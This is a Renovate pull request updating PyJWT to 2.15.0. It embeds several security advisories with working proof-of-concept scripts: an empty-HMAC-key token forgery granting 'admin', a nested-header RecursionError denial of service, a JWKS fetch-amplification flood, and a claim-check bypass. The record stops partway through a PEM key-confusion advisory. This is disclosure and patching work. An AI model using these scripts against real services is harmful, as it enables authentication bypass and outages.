chore(deps): update dependency pyjwt to v2.15.0 [security] - autoclosed #12

Closed
renovate wants to merge 1 commit from renovate/pypi-pyjwt-vulnerability into main
Member

This PR contains the following updates:

Package Change Age Confidence
pyjwt 2.13.0 → 2.15.0 age confidence

PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse

CVE-2026-103001 / GHSA-gvp8-978c-rx2q / PYSEC-2026-4146

More information

Details

Summary

PyJWT.decode()/decode_complete() mutates a caller-supplied options dict in place whenever verify_signature is falsy, adding verify_exp/verify_nbf/verify_iat/verify_aud/verify_iss/verify_sub/verify_jti keys directly onto that object. If application code reuses the same options dict across calls (a config object, a module-level constant, a wrapper's self.options), a later call that explicitly sets verify_signature=True for a full, normal verification silently inherits the leftover verify_exp=False etc. from an earlier verify_signature=False call on the same object -- and accepts an expired, wrong-audience, wrong-issuer, or wrong-subject token as valid with no exception. Signature verification itself is unaffected; this is specifically a claims-check bypass.

This is a regression of an already-fixed, closed issue: originally reported in #​679 (2021), fixed in #​743 (2022, via a shallow copy of options), and silently reintroduced by #​1045 (merged 2025-03-05, a typing/logic refactor that dropped the 2022 shallow-copy line). It has been present since #​1045 merged, so it likely shipped in several releases already in the wild.

Details

File: jwt/api_jwt.py, PyJWT._merge_options() (called from decode_complete(), which backs both jwt.decode() and jwt.decode_complete()):

def _merge_options(self, options=None):
    if options is None:
        return self.options
    if not options.get("verify_signature", True):
        options["verify_exp"] = options.get("verify_exp", False)
        options["verify_nbf"] = options.get("verify_nbf", False)
        # ...5 more, same pattern -- all written directly onto the caller's dict
    return {**self.options, **options}

No dict(options) copy occurs before these writes, unlike the pre-2025-03-05 code (see #​743's fix, options = dict(options or {})). Confirmed via gh api repos/jpadilla/pyjwt/commits/29fbfc36 that #​1045's diff removes that line. Confirmed still present on current main via a live fetch of jwt/api_jwt.py.

PoC

Two scripts, each run twice (separate processes), identical output both times (except Python object id()), saved locally and available on request:

import jwt, time

INSECURE_OPTIONS = {"verify_signature": False}

secret = "s3cr3t"
expired_token = jwt.encode(
    {"exp": int(time.time()) - 3600, "data": "x"}, secret, algorithm="HS256"
)

jwt.decode(expired_token, options=INSECURE_OPTIONS)
print(INSECURE_OPTIONS)

##### The dict has been silently mutated with 7 new keys, including verify_exp: False.

INSECURE_OPTIONS["verify_signature"] = True
result = jwt.decode(expired_token, secret, algorithms=["HS256"], options=INSECURE_OPTIONS)
print(result)

##### No exception raised. Expected: jwt.ExpiredSignatureError, since verify_signature=True
##### was explicitly requested on this call.

Reproduced deterministically across 2 independent process runs.

Impact

Preconditions: the calling application must reuse a mutable options dict object across two or more decode()/decode_complete() calls with different intent (e.g. one "insecure peek" call followed by a "fully verified" call on the same dict, config object, or instance attribute). This is a real, plausible pattern but not universal; it does not affect code that constructs a fresh options dict per call.

When triggered: a signed-but-expired (or wrong-aud/iss/sub/jti) token is silently accepted as fully verified, with no warning or exception. This is an authentication/claims-verification bypass, not a signature-verification bypass.

Scope: regression present since PR #​1045 (merged 2025-03-05), affecting every PyJWT release since then up to and including the current 2.13.0.

Suggested fix: restore a shallow copy inside _merge_options() itself (rather than relying on a caller-side copy), so every caller of _merge_options is covered:

def _merge_options(self, options=None):
    if options is None:
        return self.options
    options = dict(options)  # never mutate the caller's dict
    if not options.get("verify_signature", True):
        options.setdefault("verify_exp", False)
        options.setdefault("verify_nbf", False)
        options.setdefault("verify_iat", False)
        options.setdefault("verify_aud", False)
        options.setdefault("verify_iss", False)
        options.setdefault("verify_sub", False)
        options.setdefault("verify_jti", False)
    return {**self.options, **options}

Found via a property-based audit (copy/clone independence across widely-used Python libraries); both repro scripts were written and independently re-run before this report.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 at source SHA 7144e4534c34810f4525dc4578a32addd8212cff. A caller-supplied mutable options mapping was modified when verify_signature was false; reusing that mapping after re-enabling signature verification could leave registered-claim checks disabled. This is a conditional claim-verification bypass, not a signature-forgery issue.

A narrow fix has been prepared: PyJWT now copies the options mapping before applying defaults. Regression coverage includes decode(), decode_complete(), constructor input preservation, mutable-mapping compatibility, and reuse of an options mapping across verification modes. The focused tests pass, the full suite passes with 369 tests and 4 intentional cryptography-environment skips, and lint/format/type checks pass.

The advisory remains in triage while the fix goes through release planning. The independently verified range in this investigation is 2.13.0; reports of earlier affected versions should include the exact version and reproduction details.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse

CVE-2026-103001 / GHSA-gvp8-978c-rx2q / PYSEC-2026-4146

More information

Details

Summary

PyJWT.decode()/decode_complete() mutates a caller-supplied options dict in place whenever verify_signature is falsy, adding verify_exp/verify_nbf/verify_iat/verify_aud/verify_iss/verify_sub/verify_jti keys directly onto that object. If application code reuses the same options dict across calls (a config object, a module-level constant, a wrapper's self.options), a later call that explicitly sets verify_signature=True for a full, normal verification silently inherits the leftover verify_exp=False etc. from an earlier verify_signature=False call on the same object -- and accepts an expired, wrong-audience, wrong-issuer, or wrong-subject token as valid with no exception. Signature verification itself is unaffected; this is specifically a claims-check bypass.

This is a regression of an already-fixed, closed issue: originally reported in #​679 (2021), fixed in #​743 (2022, via a shallow copy of options), and silently reintroduced by #​1045 (merged 2025-03-05, a typing/logic refactor that dropped the 2022 shallow-copy line). It has been present since #​1045 merged, so it likely shipped in several releases already in the wild.

Details

File: jwt/api_jwt.py, PyJWT._merge_options() (called from decode_complete(), which backs both jwt.decode() and jwt.decode_complete()):

def _merge_options(self, options=None):
    if options is None:
        return self.options
    if not options.get("verify_signature", True):
        options["verify_exp"] = options.get("verify_exp", False)
        options["verify_nbf"] = options.get("verify_nbf", False)
        # ...5 more, same pattern -- all written directly onto the caller's dict
    return {**self.options, **options}

No dict(options) copy occurs before these writes, unlike the pre-2025-03-05 code (see #​743's fix, options = dict(options or {})). Confirmed via gh api repos/jpadilla/pyjwt/commits/29fbfc36 that #​1045's diff removes that line. Confirmed still present on current main via a live fetch of jwt/api_jwt.py.

PoC

Two scripts, each run twice (separate processes), identical output both times (except Python object id()), saved locally and available on request:

import jwt, time

INSECURE_OPTIONS = {"verify_signature": False}

secret = "s3cr3t"
expired_token = jwt.encode(
    {"exp": int(time.time()) - 3600, "data": "x"}, secret, algorithm="HS256"
)

jwt.decode(expired_token, options=INSECURE_OPTIONS)
print(INSECURE_OPTIONS)

##### The dict has been silently mutated with 7 new keys, including verify_exp: False.

INSECURE_OPTIONS["verify_signature"] = True
result = jwt.decode(expired_token, secret, algorithms=["HS256"], options=INSECURE_OPTIONS)
print(result)

##### No exception raised. Expected: jwt.ExpiredSignatureError, since verify_signature=True
##### was explicitly requested on this call.

Reproduced deterministically across 2 independent process runs.

Impact

Preconditions: the calling application must reuse a mutable options dict object across two or more decode()/decode_complete() calls with different intent (e.g. one "insecure peek" call followed by a "fully verified" call on the same dict, config object, or instance attribute). This is a real, plausible pattern but not universal; it does not affect code that constructs a fresh options dict per call.

When triggered: a signed-but-expired (or wrong-aud/iss/sub/jti) token is silently accepted as fully verified, with no warning or exception. This is an authentication/claims-verification bypass, not a signature-verification bypass.

Scope: regression present since PR #​1045 (merged 2025-03-05), affecting every PyJWT release since then up to and including the current 2.13.0.

Suggested fix: restore a shallow copy inside _merge_options() itself (rather than relying on a caller-side copy), so every caller of _merge_options is covered:

def _merge_options(self, options=None):
    if options is None:
        return self.options
    options = dict(options)  # never mutate the caller's dict
    if not options.get("verify_signature", True):
        options.setdefault("verify_exp", False)
        options.setdefault("verify_nbf", False)
        options.setdefault("verify_iat", False)
        options.setdefault("verify_aud", False)
        options.setdefault("verify_iss", False)
        options.setdefault("verify_sub", False)
        options.setdefault("verify_jti", False)
    return {**self.options, **options}

Found via a property-based audit (copy/clone independence across widely-used Python libraries); both repro scripts were written and independently re-run before this report.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 at source SHA 7144e4534c34810f4525dc4578a32addd8212cff. A caller-supplied mutable options mapping was modified when verify_signature was false; reusing that mapping after re-enabling signature verification could leave registered-claim checks disabled. This is a conditional claim-verification bypass, not a signature-forgery issue.

A narrow fix has been prepared: PyJWT now copies the options mapping before applying defaults. Regression coverage includes decode(), decode_complete(), constructor input preservation, mutable-mapping compatibility, and reuse of an options mapping across verification modes. The focused tests pass, the full suite passes with 369 tests and 4 intentional cryptography-environment skips, and lint/format/type checks pass.

The advisory remains in triage while the fix goes through release planning. The independently verified range in this investigation is 2.13.0; reports of earlier affected versions should include the exact version and reproduction details.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)

CVE-2026-101917 / GHSA-2gx3-rcp4-g85q / PYSEC-2026-4140

More information

Details

Summary
CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.

At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.

Affected
pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.

Proof of concept (verified on 2.13.0, cache enabled = realistic prod config)
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
self.wfile.write(JWKS)
def log_message(self,*a): pass
srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1/:{port}/jwks.json', cache_keys=True, lifespan=3600)
for i in range(8):
try: c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception: pass
before = hits['n']
for _ in range(5):
try: c.get_signing_key('same-unknown')
except Exception: pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)

Output:
distinct unknown kids: 8 -> fetches: 9
same unknown kid x5 -> extra fetches: 5
Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.

Impact
One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.

Suggested fix
Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.

Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.

Reported by Babakizo (Securva).

Maintainer update — 2026-09-10

The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.

The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.

Regression tests cover repeated unknown kids, cooldown expiry, concurrent
misses, cache-disabled operation, and invalid cooldown values. The available
full tox matrix, Ruff, and mypy checks pass. The fix will be included in the
next released 2.x version.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header

CVE-2026-102265 / GHSA-8wjv-2p76-3863 / PYSEC-2026-4142

More information

Details

Package

pyjwt (PyPI)

Affected versions

tested & verified on: 2.13.0. Every version whose PyJWS._load() translates only ValueError is affected

Description

PyJWS._looad() (jwt/api_jws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before _verify_signature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).

CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves _load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.

Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.

Proof of concept

Against any endpoint that validates a token from its JSON body with the documented pattern:

import base64, json, http.client

def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()

conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
             headers={"Content-Type": "application/json"})
print(conn.getresponse().status)   # 500, expected 401

Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.

Impact

An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).

Fix

Catch RecursionError alongside ValueError in _load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.

Reproduction

A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:

cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v

poc_pyjwt_recursion.zip

Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's run_log.txt documents a complete proof run.

Credits
  • @​Nivid42
Maintainer update — 2026-09-09

We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.

The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS._load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.

No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

CVE-2026-102266 / GHSA-9j54-fg26-wv3r / PYSEC-2026-4143

More information

Details

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

{"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

{
    "kty": "oct",
    "k": ""
}

the empty Base64URL value is decoded to:

b""

and returned without an emptiness check.

[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

prepared_key = key.key

The value is not passed through:

alg_obj.prepare_key(key.key)

so the empty-key check in HMACAlgorithm.prepare_key is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

raw b""
    -> HMACAlgorithm.prepare_key
    -> InvalidKeyError

{"kty":"oct","k":""}
    -> HMACAlgorithm.from_jwk
    -> b""
    -> PyJWK.key
    -> PyJWS._verify_signature
    -> HMAC verification with b""
    -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"

Save the following as poc.py:

import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")

now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

python poc.py

Observed output:

VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.prepare_key with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached prepare_key and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

{
    "kty": "oct",
    "k": "",
    "kid": "active",
    "alg": "HS256"
}

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

{
    "sub": "attacker",
    "admin": true,
    "exp": 1787100000
}

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.prepare_key(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's prepare_key() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient follows redirects when fetching JWKS

CVE-2026-102267 / GHSA-9v7f-9g4p-ffgj / PYSEC-2026-4144

More information

Details

Summary

PyJWT 2.13.0 PyJWKClient followed HTTP redirects while fetching a JWKS,
without validating the redirect destination. A configured trusted endpoint
could therefore redirect the client to a different host.

Impact

When an application uses PyJWKClient with caller-supplied request headers and
an attacker can influence the configured endpoint's response, the redirected
request could expose those headers and the redirected response could be used as
authoritative key material. This could cause JWKS trust poisoning and, in
affected mixed-configuration applications, forged JWT acceptance. The issue
requires an attacker-influenced redirect from the configured JWKS endpoint; it
is not triggered by a token kid alone.

Affected versions

PyJWT <= 2.13.0.

Fix

The issue is fixed on master in commit
0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56.
PyJWKClient now disables automatic redirects for JWKS fetches. Regression
tests verify that a redirect is rejected without contacting its destination,
while normal fetches, headers, caching, errors, timeouts, and SSL context remain
covered.

The fix is present in the unreleased development branch. The patched version
will be recorded after a released PyJWT 2.x version containing the fix is
confirmed.

Credit

Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect
header-leak and cache-poisoning evidence from the newer duplicate report
GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this
canonical advisory update.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard

CVE-2026-102268 / GHSA-ffc3-869f-jxw9 / PYSEC-2026-4145

More information

Details

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

  • The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop).
  • The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's is_pem_format regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when is_pem_format() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary

A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's is_pem_format() return False while cryptography.load_pem_public_key() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.prepare_key is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details

At jwt/algorithms.py:331-335, HMACAlgorithm.prepare_key contains the sole family-mismatch guard:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
